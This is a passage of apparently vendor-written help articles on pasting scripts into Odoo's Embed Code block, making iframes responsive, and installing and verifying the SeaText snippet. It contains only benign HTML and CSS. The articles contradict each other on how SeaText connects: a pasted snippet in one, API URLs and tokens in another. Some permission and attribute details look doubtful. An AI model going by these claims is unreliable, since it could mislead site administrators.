Backend data accessNoneFull ORM + ACL
Server-side logicNoControllers, cron, webhooks
Security modelBrowser sandbox onlyRecord rules, CSRF, CSP
Upgrade survivalManual re-check requiredHandled by migration scripts
DistributionCopy-paste per instanceInstallable module zip
Skill requiredHTML/JS basicsPython, XML, Odoo framework
Time to first resultMinutesHours to days

Start with the checklist. If any "Choose an Odoo app if" item applies, build the app. If every item is "no," the embed code module is the right tool — and SeaText's own integration proves it works for production AI personalization at scale.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

5 Common Mistakes When Pasting Scripts into the Odoo Embed Code Module

Direct Answer: Common mistakes include using HTTP instead of HTTPS, missing closing tags, failing to load required external libraries, placing the script in the wrong block type, and forgetting to hide the block on desktop. These errors can break your page, cause console errors, or make the script invisible. The fix is to always use HTTPS, validate your code, use the correct Embed Code block, and follow the visibility settings.

When you paste a script into Odoo's Embed Code module, small mistakes can break your website. The most common errors are using HTTP instead of HTTPS, missing closing tags, forgetting to load required libraries, placing the code in the wrong block type, and not hiding the block on desktop. Each of these has a simple fix.

Symptoms That Something Is Wrong

After pasting a script, you might see one of these signs:

  • The entire page stops loading or shows a blank white screen.
  • You cannot add or edit other blocks on the page.
  • The script does nothing – no tracking, no widget, no change.
  • Browser console shows JavaScript errors or mixed content warnings.
  • The page loads but the embedded element is missing or broken.

How to Diagnose the Problem

Start with the browser's developer console (F12). Look for red error messages. Common ones include “Uncaught SyntaxError”, “Failed to load resource”, or “Mixed Content”.

Next, check the Embed Code block itself. In Odoo’s editor, click the block and choose “Edit”. Verify the pasted code is complete and has not been truncated or altered by Odoo’s HTML validator.

Finally, test the page in an incognito window to rule out caching issues.

Likely Causes and How to Fix Them

1. Using HTTP Instead of HTTPS

Odoo sites run on HTTPS. If your script loads an external resource over HTTP, browsers block it as mixed content. Fix: change all URLs in the script to HTTPS or use protocol-relative URLs (//example.com/file.js).

2. Missing Closing Tags or Malformed HTML

Odoo’s editor validates HTML against a strict XML standard. A missing closing tag can break the entire page. Fix: always paste well-formed HTML. Use a validator like W3C Markup Validation Service before pasting.

3. Not Loading Required External Libraries

Many scripts depend on libraries like jQuery or Font Awesome. If those libraries are not already loaded on your Odoo site, the script fails. Fix: load the library first, either by adding it in the same embed block or using Odoo’s custom code fields.

4. Placing the Script in the Wrong Block Type

Odoo has an “Embed Code” block under Dynamic Content. Some users accidentally use a text block or a custom HTML block. The Embed Code block is designed for scripts and iframes. Fix: drag the exact “Embed Code” block onto your page.

5. Forgetting to Hide the Block on Desktop

Some scripts, like tracking codes, should be invisible. If you leave the block visible, it might show an empty space or a raw code snippet. Fix: in the block’s visibility settings, select “Hide on Desktop” (and other devices as needed).

Main Options for Adding Scripts in Odoo

Besides the Embed Code block, you have two other methods:

  • Custom Code fields (Website → Configuration → Websites → Custom Code): for global scripts that run on every page (e.g., Google Analytics).
  • Theme customization: editing the head or footer of your theme via XML or the website settings.

The Embed Code block is best for page‑specific scripts (a single widget, a tracking pixel for one page). The Custom Code field is better for site‑wide scripts.

Step‑by‑Step: How to Paste a Script Correctly

  1. Open the Odoo Website editor on the page you want to edit.
  2. In the Blocks panel, scroll to “Dynamic Content” and drag the Embed Code block onto the page.
  3. Click the block and select “Edit”.
  4. Paste your script into the pop‑up window. Ensure it is well‑formed HTML (e.g., use <script>...</script>).
  5. Click “Save”.
  6. If the script should not be visible, go to the block’s “Visibility” settings and choose “Hide on Desktop”.
  7. Save the page and test in incognito mode.

Common Mistakes at a Glance

MistakeSymptomFix
HTTP resourceMixed content warning, script blockedChange to HTTPS
Missing closing tagPage breaks, blocks cannot be editedValidate HTML, use proper tag closure
Missing library dependencyScript runs but nothing happensInclude library script before the dependent code
Wrong block typeScript appears as text or doesn’t executeUse the Embed Code block from Dynamic Content
Block visible on desktopEmpty space or raw code displayedEnable “Hide on Desktop” in visibility settings

Practical Scenarios

Adding a third‑party chat widget

Chat widgets often require a script in the <head> and a div in the <body>. The Embed Code block can only hold one piece of code. For a widget that needs two parts, use the Custom Code field for the head script and the Embed Code block for the body div. Or use a single script that self‑contains both.

Embedding a YouTube video

Use the iframe provided by YouTube. Paste it into the Embed Code block. Make sure the iframe URL uses HTTPS. If the video does not appear, check that the block is not hidden.

Limitations and When This Advice Does Not Apply

The Embed Code block is designed for short, self‑contained snippets. It is not suitable for:

  • Large scripts with many dependencies – use the Custom Code field or a dedicated module.
  • Scripts that need to run before the page loads – use the website’s Custom Code field for head scripts.
  • Scripts that modify the Odoo backend – these require a custom module.

If your script continues to fail after following these steps, try a different method or consult Odoo’s forum for version‑specific issues.

Frequently Asked Questions

Why does my page go blank after pasting a script?

Usually a missing closing tag or malformed HTML. Odoo’s strict XML validator rejects the code and breaks the page. Remove the script and use a validator.

Can I paste multiple scripts in one Embed Code block?

Yes, but keep them well‑formed. Separate each script with proper tags. If one script breaks, the whole block may fail.

How do I add a script that runs on every page?

Use the Custom Code field under Website → Configuration → Websites → Custom Code. Paste the script in the “Custom code” or “Custom end of code” field.

Does the Embed Code block accept inline CSS?

Yes, but wrap it in <style>...</style> tags. Ensure no syntax errors.

What if I can’t find the Embed Code block?

Make sure you are using the Website editor on a page. In Odoo 16 and later, it is under “Dynamic Content”. If missing, check your Odoo version or theme.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Make an Embedded Iframe Responsive in Odoo

Direct Answer: To make an iframe responsive in Odoo, wrap it in a container div with a set aspect ratio using CSS, or apply width: 100% directly to the iframe tag. This ensures content scales fluidly across mobile and desktop screens. Use the CSS aspect-ratio property for simpler code, avoid fixed pixel dimensions, and test in Odoo's mobile preview.

Embedding content like maps, forms, or external widgets into Odoo often results in fixed-width elements that break your mobile layout. To fix this, you must move away from hardcoded pixel dimensions and use CSS to force the iframe to adapt to its parent container. This guide explains the mechanics, compares sizing methods, and covers troubleshooting for common Odoo embed issues.

Step-by-Step: Implementing Responsive Iframes

  1. Open the Embed Code Block: In your Odoo Website editor, drag the Embed Code block from the Dynamic Content section onto your page. In the editing panel, scroll through the Blocks panel until you reach Dynamic Content.
  2. Apply the Container Wrapper: Instead of pasting the raw iframe code directly, wrap it in a responsive container. Use the following HTML structure in the Embed Code block:

    <div class="responsive-iframe-container">
      <iframe src="YOUR_URL"></iframe>
    </div>
  3. Add Custom CSS: Navigate to the Site menu in the Odoo editor and select HTML/CSS Editor. Add CSS to ensure the container maintains its aspect ratio. You can use the classic padding-bottom method:

    .responsive-iframe-container {
      position: relative;
      width: 100%;
      padding-bottom: 56.25%; /* 16:9 Aspect Ratio */
      height: 0;
    }
    .responsive-iframe-container iframe {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
    }

    Or use the modern aspect-ratio property:

    .responsive-iframe-container {
      aspect-ratio: 16 / 9;
    }
    .responsive-iframe-container iframe {
      width: 100%;
      height: 100%;
    }
  4. Save and Verify: Click Save. Resize your browser window or use the mobile preview toggle in the Odoo editor to confirm the iframe scales correctly.

Why Responsiveness Matters

Ignoring responsiveness leads to horizontal scrolling on mobile devices, which negatively impacts user experience and SEO rankings. When an iframe is fixed at 800px wide, mobile users must pan left and right to see the content, often causing them to abandon the page entirely. Google uses mobile-first indexing, so a broken mobile layout can hurt your visibility in search results. A responsive iframe keeps the page usable, reduces bounce risk, and preserves the professional appearance of embedded content.

Fixed vs. Fluid Iframe Sizing

Fixed sizing uses pixel or fixed-unit attributes on the iframe, such as width="800" height="600". This is simple to set up, but it never changes with the screen. On a 375px phone screen, the iframe overflows the viewport. On a 1920px desktop monitor, the iframe may look small or misaligned.

Fluid sizing lets the iframe fill its container. The container width responds to the screen, and the iframe height follows the aspect ratio. This approach works across phones, tablets, and desktops without extra media queries.

Use fluid sizing for almost all Odoo embeds. It is more robust and easier to maintain. Fixed sizing is only reasonable for internal tools where the viewing device is known, such as an admin dashboard on a desktop-only workstation. Even then, a fluid container with a max-width is often safer.

Here is a quick comparison of the two methods:

CriteriaFixed iframe sizingFluid iframe sizing
Mobile displayCauses horizontal scrollingScales to screen width
Code complexitySimple, static attributesRequires CSS wrapper or aspect-ratio rule
MaintenanceUpdate pixels for each breakpointSingle CSS rule
Best forKnown desktop-only contextsPublic Odoo pages and responsive themes

Using the CSS aspect-ratio Property

Modern browsers support the CSS aspect-ratio property. It lets you define the width-to-height relationship of an element without using padding tricks. For a typical 16:9 video embed, write aspect-ratio: 16 / 9. For a 4:3 map, write aspect-ratio: 4 / 3.

This property reduces CSS clutter. You no longer need position: relative, height: 0, or padding-bottom. The browser calculates the height automatically when the container width changes.

Example for a responsive Google Maps embed:

.responsive-iframe-container {
  aspect-ratio: 16 / 9;
}
.responsive-iframe-container iframe {
  width: 100%;
  height: 100%;
}

Check your target browser support before relying on aspect-ratio. Most current Chrome, Safari, Firefox, and Edge versions support it. If you need to support older browsers, keep the padding-bottom fallback in your CSS. You can also use both rules together: define the padding-bottom fallback first, then add aspect-ratio for browsers that understand it.

Alternative Methods for Responsive Iframes

Besides the wrapper method, you can use these alternative approaches in Odoo.

Direct width: 100% on the iframe

Set width="100%" directly on the iframe tag. This makes the iframe stretch to its parent block. The height still needs attention, but a fixed height is acceptable for some short embeds like a small newsletter form. Example:

<iframe src="https://example.com/form" width="100%" height="400"></iframe>

This is quick, but the aspect ratio is not preserved automatically. If the width changes, the height stays the same. Use it only when the embedded content has a flexible height.

JavaScript-based resizing

If the embedded document can send messages, you can use the postMessage API. The parent page listens for a message containing the content height, then updates the iframe height dynamically. This works well for forms or widgets with changing content, but it requires access to the embedded page's code. Many third-party services do not allow this. Check the vendor documentation for postMessage support. For most Odoo users, the CSS methods above are simpler and more reliable.

Odoo-specific CSS classes

You can attach Odoo's built-in utility classes to your embed block. For example, container-fluid makes the block full-width relative to its section. Combine it with your own custom class to control aspect ratio. The exact CSS classes available depend on your Odoo theme and version. Inspect the page with your browser's developer tools to see which classes are already applied to the embed block.

Common Odoo Embed Issues and Troubleshooting

  • Hardcoded Dimensions: Avoid using width="800" or height="600" attributes inside the iframe tag, as these override CSS scaling. Remove them or replace them with width="100%".
  • Cross-Origin Restrictions: If your iframe fails to load, check the browser console for "Refused to display" errors. The source site probably sends X-Frame-Options or a Content Security Policy that blocks embedding. You cannot fix this with CSS alone. Contact the source site or find a different embed method.
  • Master Template Conflicts: If you are embedding an Odoo page into another site, ensure the page template is set to a minimal layout rather than the full "master" template. This avoids nested headers and footers. In the Odoo page settings, choose a clean template before copying the page URL into your iframe.
  • HTTPS mismatches: Make sure the iframe source uses HTTPS when your Odoo page uses HTTPS. Modern browsers block mixed content.
  • CSS not applying: If your custom CSS does not work, check the Odoo HTML/CSS Editor placement. Custom CSS should be in the global stylesheet or in a style tag inside the Embed Code block. Also verify that your class name is spelled the same in the HTML and the CSS.
  • Iframe still overflowing: Inspect the parent section. Some Odoo themes add fixed widths or padding to nested containers. Set the container to width: 100%; max-width: 100%; overflow: hidden; as a temporary diagnostic step.

Performance Considerations

Every iframe creates a separate browser request to an external server. Too many iframes can slow down your page and hurt Core Web Vitals. Lazy loading helps: add loading="lazy" to the iframe tag when the content is below the fold. This tells the browser to wait until the user scrolls near it.

Set title attributes on iframes for accessibility. A descriptive title helps screen reader users understand the embedded content. Accessibility also improves the overall user experience.

Consider the source provider's server speed. If you embed a slow third-party map or form, the user waits for that external resource. Choose providers with reliable hosting. When possible, replace heavy external widgets with static images or lightweight links on mobile. This is not always possible, but it can improve load times.

Frequently Asked Questions

Does this work in both Odoo Community and Enterprise?

Yes, the Embed Code block and the ability to add custom CSS via the editor are standard features available in both editions.

Can I use this for Google Maps?

Yes, this CSS wrapper method is the standard way to make Google Maps embeds responsive within the Odoo website builder.

What if the iframe content has a different aspect ratio?

Adjust the padding-bottom percentage or the aspect-ratio value. For example, use 75% or 4 / 3 for a 4:3 ratio, or 100% or 1 / 1 for a square.

Is there a limit to how many iframes I can add?

There is no hard limit, but excessive use of iframes can slow down page load times. Each iframe requires a separate request to the external server.

Do I need to install a module for this?

No, this is a front-end styling task that can be handled entirely through the built-in Odoo website editor.

Why does my iframe look fine on desktop but broken on mobile?

That usually means the iframe has a fixed pixel width. Replace it with a fluid container or set width: 100% on the iframe.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Verify Your SeaText Connection on Odoo

Direct Answer: Check that the SeaText JavaScript snippet is correctly placed in Odoo's Embed Code module and appears in your live page source. There is no dashboard status indicator. The AI remains inactive until you activate agents.

To confirm the SeaText connection on Odoo, open the website editor, locate the 'Embed Code' module under 'Dynamic Content', and verify the SeaText JavaScript snippet is still present. Then view your live page source and search for the same snippet. If both are present, the script is loaded and ready to be activated.

  1. Log into Odoo and access the Website module.
  2. Edit the page where you installed SeaText.
  3. In the blocks panel, scroll to Dynamic Content and find the Embed Code module.
  4. Click Edit and confirm the SeaText JavaScript snippet is present and complete.
  5. Save and publish the page.
  6. Visit your live website, right-click, and select View Page Source.
  7. Search for the SeaText script snippet. If found, the script is loaded.
  8. (Optional) Verify that your account's primary URL matches your domain. Each SeaText account is linked to one primary URL.

Why Verification Matters

Verifying the connection ensures SeaText can run on your site. Without a correct installation, agents cannot work. A broken connection means lost personalization, translation, and CRO features. It also prevents ad matching and bot protection.

Checking early saves time. You can fix issues before launching campaigns. It also helps when troubleshooting performance or content changes.

How the Odoo Embed Code Module Works

Odoo uses a drag-and-drop block system. The Embed Code module lives under Dynamic Content. You drag it onto your page. Then you paste the SeaText JavaScript snippet into a pop-up window.

After saving, the module is hidden from desktop visitors. This is done by selecting Hide on Desktop in the Visibility section. The script still loads on the page. It stays invisible but active.

The code is a single snippet. It loads the SeaText agent framework. You can find it in your SeaText account under the integration section. The snippet is unique to your account.

SeaText Remains Inert Until Activated

SeaText AI does not change content automatically. It stays inert until you activate agents. This means installing the script alone does not alter your site.

You must log into SeaText and turn on the agents you want. For example, the Google Ads Agent or Translation Agent. Only then does the script start making changes.

This design protects your site. You can install the script now and activate agents later. It also allows testing without live changes.

Important Limitations

One primary URL per account. Each SeaText account is linked to a single domain. If you need SeaText on multiple domains, you must create separate accounts. Each account gets its own script snippet.

No localhost or development domains. SeaText blocks localhost URLs for security. Dynamic development domains may not work either. The script cannot reliably associate traffic with your account on those domains. Use a real, valid domain.

Domain changes require a new account. If you change your primary domain, create a new account. Do not reuse the old script on a different domain.

What to Check After Changing Domains

If you switch your Odoo domain, the SeaText connection breaks. The old script is tied to the old URL. You must create a new SeaText account for the new domain. Then install the new script on the new site.

Verify the new script in the Embed Code module. Check the live page source. Also confirm that the original domain is no longer using the old script. This prevents double-loading.

Frequently Asked Questions

Can I use the same SeaText account for my staging site?
No. Staging domains are development domains. They are restricted. Use a separate account for production only.

What if I cannot find the Embed Code module?
Make sure you are editing the correct page. The module is under 'Dynamic Content' in the blocks panel. If missing, check your Odoo version. Some themes may hide it.

Does the script slow down my site?
No. The script is lightweight and loads asynchronously. It does not block page rendering.

How do I know agents are working?
After activation, visit your site and look for content changes. For example, translated text or personalized headlines. You can also test by using a different device or incognito window.

What if the script is missing from page source?
Revisit the Embed Code module. Ensure the snippet is complete. Also check for ad blockers or browser extensions that may block the script. Test in incognito mode.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Odoo Permissions Required for SeaText to Display Your Website Name

Direct Answer: To show your website name via SeaText, the Odoo user account used for the integration must have the access rights that allow editing the Website module. These rights are documented in Odoo's access‑rights guide and are a prerequisite for the SeaText JavaScript snippet to read page metadata.

When you add SeaText to an Odoo website, the integration reads page metadata such as the site title, description, and language. Odoo only lets users with the appropriate access rights edit the Website module and insert custom code blocks. The Odoo documentation on access rights confirms that a user needs at least the Website Manager permission, which can be granted through the Administrator role or by assigning the specific Website Manager access group. SeaText itself does not enforce a particular Odoo role; it simply requires that the account used for the integration can edit the website and place the embed block.

Readiness Checklist for SeaText on Odoo

  • User role – The account you will use to install SeaText has the Website Manager or Administrator access rights in Settings > Users.
  • Website module access – You can open the Website app and see the “Edit” button on any page.
  • Dynamic Content section – The “Embed Code” block is available in the “Dynamic Content” palette of the page editor.
  • SeaText account – You have a valid SeaText account and have copied the JavaScript snippet from the SeaText dashboard.
  • Domain match – The SeaText account is linked to the exact domain you are integrating (e.g., www.example.com).
  • Visibility settings – You plan to hide the embed block on desktop devices (optional but recommended).

Why Permissions Matter for SeaText Integration

SeaText works by inserting a small JavaScript snippet into the page. The snippet runs in the visitor’s browser and reads the HTML <title> tag, Open Graph meta tags, and any custom data‑seatext attributes that Odoo generates. If the user who adds the snippet cannot edit the website, the block will never be saved, and SeaText cannot read the metadata. In that case the integration appears broken and the site name stays hidden.

Because Odoo’s permission system is role‑based, a user without Website Manager rights will see a read‑only view of the page editor. The embed block will be greyed out, and attempts to paste the code will be rejected. This is why checking permissions early saves time.

How Odoo User Roles and Access Rights Work

Odoo defines access rights in groups. The most relevant groups for SeaText are:

  • Administrator – Full system access, including all website settings.
  • Website Manager – Allows editing pages, adding blocks, and managing site‑wide SEO settings.
  • User – Limited backend access; cannot edit website content.
  • Portal – External customers; no backend editing rights.
  • Public – Anonymous visitors; no backend access.

The Odoo documentation (see the Access Rights pages for versions 16.0 and 19.0) states that the Website Manager group includes the website.editor permission, which is required to place custom JavaScript blocks. If you assign the Administrator role, the Website Manager rights are included automatically.

Checking and Assigning the Correct Permissions

  1. Log into Odoo as an administrator.
  2. Navigate to Settings > Users & Companies > Users.
  3. Select the user who will perform the SeaText integration.
  4. Open the Access Rights tab.
  5. In the Website section, set the role to Website Manager or choose Administrator for full access.
  6. Save the changes and ask the user to log out and back in so the new rights take effect.

If you are not an administrator, request these changes from someone who has the Settings access right.

Step‑by‑Step Integration Walkthrough (After Permissions Are Set)

  1. Open the Odoo dashboard and go to the Website app.
  2. Navigate to the page where you want SeaText to run (usually the homepage).
  3. Click the Edit button on the right‑hand panel to open the page editor.
  4. In the left sidebar, scroll to the Dynamic Content section.
  5. Drag the Embed Code block onto the page where you want the script to live. The block can be placed at the bottom of the page body.
  6. With the block selected, click the Edit icon that appears on the block itself.
  7. In the pop‑up window, paste the JavaScript snippet you copied from your SeaText dashboard.
  8. Click Save to store the code inside the block.
  9. Open the block’s Visibility settings and enable Hide on Desktop. This keeps the snippet invisible to visitors while still running in the background.
  10. Click Save again to finalize the page changes.
  11. Publish the page if you are working in a draft mode.

After these steps, SeaText will start reading the page metadata and display the website name in its AI‑generated content suggestions.

What SeaText Reads from Odoo Page Metadata

When the JavaScript runs, it looks for the following elements in the page’s <head> and body:

  • Title tag – The text inside <title> is used as the primary site name.
  • Open Graph title – If an og:title meta tag exists, SeaText prefers it because it is often more marketing‑focused.
  • Custom data attributes – Odoo can add data-seatext-site-name attributes to sections; SeaText reads these if present.
  • Language meta tag – The lang attribute on the <html> element helps SeaText choose the correct language model.

If any of these values are missing, SeaText falls back to the domain name, which may be less readable for visitors.

Common Mistakes and How to Avoid Them

  • Using a portal or public user account – These accounts cannot edit the website. Always use an internal user with Website Manager or Administrator rights.
  • Not refreshing the session after permission changes – Log out and back in to apply new rights.
  • Pasting the snippet directly into the page source – Odoo requires the Embed Code block; direct HTML edits are ignored by the editor.
  • Skipping the “Hide on Desktop” option – The block is invisible by default, but hiding it prevents accidental layout shifts on larger screens.

Limitations: When Permissions Alone Aren’t Enough

Correct permissions are necessary but not sufficient. SeaText also needs a publicly reachable domain that matches the one registered in your SeaText account. Development URLs such as localhost or temporary tunnels are blocked for security reasons. Additionally, the JavaScript must be placed exactly as described; moving it to a header template or a custom module can break the metadata reading process.

Troubleshooting Permission‑Related Errors

Symptom: The embed block does not appear after dragging it onto the page.

Cause: The current user lacks the website.editor permission.

Fix: Verify the user’s role in Settings > Users. Assign Website Manager or Administrator, then reload the editor.

Symptom: After saving, the block disappears and the page reverts to its previous state.

Cause: Odoo’s security rules prevent users without “Write” rights on the ir.ui.view model from storing custom blocks.

Fix: Grant the user the “Technical Settings” access right, or have an administrator perform the save.

Symptom: SeaText does not display the website name in its UI.

Cause: The page’s <title> tag is empty or overridden by a custom template.

Fix: Edit the page’s SEO settings (Website > Pages > Edit > SEO) and provide a clear title. Republish the page.

Symptom: “Permission denied” errors appear in the browser console.

Cause: The JavaScript tries to call Odoo’s internal API without proper authentication.

Fix: Ensure the SeaText account is linked to the same domain and that the snippet is the latest version from the SeaText dashboard.

Frequently Asked Questions

Do I need to be an Odoo superuser to install SeaText?

No. You only need a user with the Website Manager permission, which can be granted via the Administrator role or as a separate group.

What if I don’t have permission to edit the website?

Ask your Odoo administrator to assign the Website Manager group to your account. The change takes effect after you log out and back in.

Can I use a portal user to integrate SeaText?

No. Portal users cannot access the Website editor, so the embed block cannot be saved.

Will SeaText work if I paste the code in the wrong place?

Only the Embed Code block in the Dynamic Content section is recognized by Odoo. Placing the snippet elsewhere will prevent the integration from loading.

Do I need to change permissions for every Odoo user?

Only the user who performs the integration needs the Website Manager rights. Other users can keep their existing roles.

Is there a way to test that the permissions are correct?

Log in, open any page in the Website app, and click the Edit button. If you can drag the Embed Code block onto the page, the permissions are sufficient.

What if I still can’t see the website name after setting permissions?

Check that the SeaText account is active, the domain matches, and the JavaScript snippet is correctly placed. Also verify that the page’s <title> tag is populated. If the issue persists, contact SeaText support.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Common SeaText and Odoo Integration Mistakes

Direct Answer: Setting up SeaText with Odoo can be straightforward, but common mistakes can hinder integration. These often involve incorrect API URL entries, failing to save Odoo configurations, or using expired API tokens. Avoiding these pitfalls ensures a smooth and effective connection between your systems.

Common mistakes include entering the wrong API URL, failing to save the configuration settings in Odoo, or using an expired API token.

Most Common Mistake: Incorrect API URL or Credentials

One of the most frequent issues is entering the wrong API URL or incorrect credentials when configuring SeaText within Odoo. This can happen due to typos, using a development URL for a production environment, or not accessing the correct API endpoint provided by SeaText.

Understanding SeaText and Odoo Integration

Integrating SeaText with Odoo aims to boost your website's performance. This connection allows SeaText's AI agents to work within your Odoo-powered site. These agents can help improve conversion rates. They can also optimize ad spending. Furthermore, they enhance the user experience on your website. However, the setup process can sometimes be tricky. Several common errors can prevent the integration from working correctly. Knowing these potential pitfalls is key to a successful setup. This guide will walk you through the most frequent mistakes. It will also explain how to fix them.

Incorrect API URL or Credentials

The most common problem is incorrect API details. This includes the API URL and login credentials. Typos are a frequent cause. You might also use a URL for a test environment. This should be the live production URL. Or, you might use the wrong API endpoint. SeaText provides specific details for integration. These must be entered precisely into Odoo.

Diagnosis of API Issues

How do you know if this is the problem? SeaText features might not show up on your Odoo site. The integration status in Odoo could show as disconnected. You might see error messages in Odoo. These errors often relate to external service connections. They indicate a communication breakdown.

Likely Causes of API Errors

  • Typographical Errors: Simple mistakes when typing the API URL or token. Even a single wrong character can break the connection.
  • Incorrect Environment URL: Using a staging or development URL when the production URL is required. Or vice-versa. Each environment needs the correct URL.
  • Expired API Token: API tokens have an expiration date. If yours has expired, the connection will fail. You need to generate a new one.
  • Wrong Account Credentials: Using login details from an incorrect SeaText account. Ensure you are using the credentials for the account linked to your website.

Corrective Actions for API Problems

  • Verify the API URL: Double-check the API URL provided by SeaText. Compare it exactly with what is entered in your Odoo configuration. Look for extra spaces or missing characters.
  • Confirm Environment: Make sure you are using the correct URL for your current Odoo environment. This is crucial for production and staging sites.
  • Generate New API Token: If you suspect the token is expired or invalid, generate a new one from your SeaText account. Update this new token in Odoo.
  • Check Account Details: Ensure the username, password, or API key associated with the SeaText account are correct. Verify you are logged into the right SeaText account.

Failure to Save Odoo Configuration Settings

After entering all the necessary SeaText information into Odoo, you must save these settings. This step is critical. If you forget to save, Odoo will not register the changes. The integration will not activate. It's like writing down notes but not putting them in a file.

Diagnosis of Unsaved Settings

The main symptom is straightforward. SeaText simply does not appear or function on your Odoo website. This happens even if you believe you have completed all the setup steps. The system hasn't registered your input.

Likely Causes of Not Saving

  • Skipping the Save Step: Accidentally closing the configuration window without clicking the 'Save' or 'Apply' button. This is a common oversight.
  • Interruption During Save: Network issues or system errors can prevent the save operation from completing. The process might be cut short.
  • Odoo Permissions: The user account you are using might not have enough permissions. It may lack the rights to save configuration changes.

Corrective Actions for Saving Issues

  • Explicitly Save: Always look for and click the 'Save' or 'Apply' button. Do this after entering any configuration details in Odoo. Make it a habit.
  • Review Odoo User Permissions: Ensure the Odoo user account has administrator privileges. Or, it needs sufficient rights to modify system settings. Check your user role.
  • Check for Error Messages: If saving fails, look for any error messages Odoo might display. These can point to a deeper problem.

Incorrect Placement of the Embed Code

SeaText integration often requires embedding a code snippet. This code needs to be placed correctly on your Odoo website. Putting it in the wrong spot or using the wrong tool can stop it from working. Think of it like putting a sticker on the wrong part of a machine.

Diagnosis of Code Placement Errors

SeaText features, like chat widgets or content optimization tools, will not appear on your website. They might show up in odd places. This indicates the code is not where it should be.

Likely Causes of Wrong Placement

  • Wrong Module Used: You might use a module other than the specific 'Embed Code' module. This module is found in Odoo's 'Dynamic Content' section.
  • Incorrect Placement within the Page: Placing the embed code in a section of the page where Odoo or SeaText cannot process it. Some areas are not designed for external code.
  • Not Hiding from Desktop (if intended): If you want the embed code hidden on desktop, failing to select the 'Hide on Desktop' option causes unintended visibility.

Corrective Actions for Placement Issues

  • Use the 'Embed Code' Module: Ensure you are using the correct 'Embed Code' module. Find it within Odoo's 'Dynamic Content' blocks.
  • Follow Integration Steps: Refer to the official SeaText Odoo integration guide. It provides precise placement instructions.
  • Select Visibility Options: If applicable, correctly set the visibility options. For example, 'Hide on Desktop' should be used as needed.
  • Re-save Changes: After correcting the placement, remember to save the Odoo page again. This applies the fix.

Multiple Domain Configuration Issues

If you use SeaText on several websites, like a test site and a live site, each needs specific setup. Each domain often needs its own SeaText account or configuration. Using one setup for all can cause conflicts.

Diagnosis of Multi-Domain Problems

SeaText might work on one domain but not another. It could also show data from the wrong domain. This points to a domain configuration issue.

Likely Causes of Multi-Domain Errors

  • Single Account for Multiple Domains: Trying to use one SeaText account for several distinct domains. Each account is usually tied to one primary URL.
  • Incorrect Domain Association: The SeaText account is linked to the wrong domain in the SeaText dashboard. The system thinks it's on a different site.

Corrective Actions for Multi-Domain Setup

  • Create Separate Accounts: For distinct domains, create separate SeaText accounts. Each account should be linked to its respective primary URL.
  • Verify Domain Settings: In your SeaText account settings, confirm the primary URL is correctly associated with the domain you are integrating with Odoo.
  • Use Valid Domains: Avoid using development URLs like 'localhost' for production environments. These are often restricted and may not work reliably.

Ignoring Security and Restrictions

SeaText has security rules. It also has restrictions, like on development URLs. Ignoring these can cause integration failures. It's important to follow the guidelines provided.

Diagnosis of Security/Restriction Issues

SeaText may not activate or function. You might see error messages. These errors often mention security or domain restrictions. This means a rule is being broken.

Likely Causes of Ignoring Rules

  • Using Restricted URLs: Trying to integrate with development URLs like 'localhost'. SeaText cannot reliably link these to an account.
  • Dynamic Development Domains: These can be problematic. SeaText may not consistently track traffic to your account. This makes integration unstable.

Corrective Actions for Security Compliance

  • Use Valid, Real Domains: Always use a valid, registered domain name for your Odoo website. This ensures proper identification.
  • Consult SeaText Documentation: Review SeaText's guidelines on supported domains. Check for any restrictions to ensure compliance.

Key Facts about SeaText and Odoo Integration

Aspect Details
Integration Method Typically involves embedding a JavaScript code snippet into Odoo's website builder.
Required Odoo Module The 'Embed Code' module from the 'Dynamic Content' section is commonly used.
Saving Configuration Crucial step to ensure Odoo registers SeaText settings.
Domain Restrictions Development URLs like 'localhost' are restricted; valid, real domains are required.
Multiple Domains May require separate SeaText accounts for each primary URL.

Limitations and When This Advice May Not Apply

This guide focuses on common setup errors. If you encounter issues after a successful initial setup, the problem might lie elsewhere. It could be in ongoing data synchronization. Agent activation issues are also possible. Specific Odoo version compatibility might be a factor. Always refer to the latest SeaText documentation. This ensures you have the most up-to-date integration procedures. It also helps with troubleshooting steps.

Frequently Asked Questions

Q1: How long does it typically take for SeaText to appear on my Odoo website after setup?

After successful installation and configuration, SeaText usually appears on your website within minutes. If it doesn't appear, it's a strong indicator of a setup error. Check the common mistakes listed above.

Q2: Can I use the same SeaText account for my Odoo development and production websites?

Generally, SeaText accounts are linked to a single primary URL. For different domains (like development and production), it's recommended to create separate accounts. This ensures proper tracking and functionality for each environment.

Q3: What should I do if I see an error message about invalid credentials?

This usually means the API URL, API token, or other login details entered into Odoo are incorrect. Double-check these details against your SeaText account information. Regenerate the API token if necessary. Ensure no typos were made.

Q4: My SeaText chat widget isn't showing up. What could be wrong?

This could be due to incorrect embed code placement. The code might not have been saved in Odoo. Or, there could be an issue with the SeaText account itself. Ensure the 'Embed Code' module is used correctly and saved on the Odoo page. Verify the code snippet is copied accurately.

Q5: Are there any specific Odoo user permissions required for SeaText integration?

Yes, the Odoo user account performing the integration typically needs administrator privileges. Or, it needs sufficient website management rights. This is necessary to save configuration settings and embed code correctly.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Integrate SeaText with Your Odoo Website

Direct Answer: Integrate SeaText with Odoo by copying the JavaScript code from your SeaText account, pasting it into the Embed Code module in Odoo's Dynamic Content section, and hiding the block on desktop. Each SeaText account is linked to one domain, so create separate accounts for multiple domains.

Introduction to SeaText and Odoo Integration

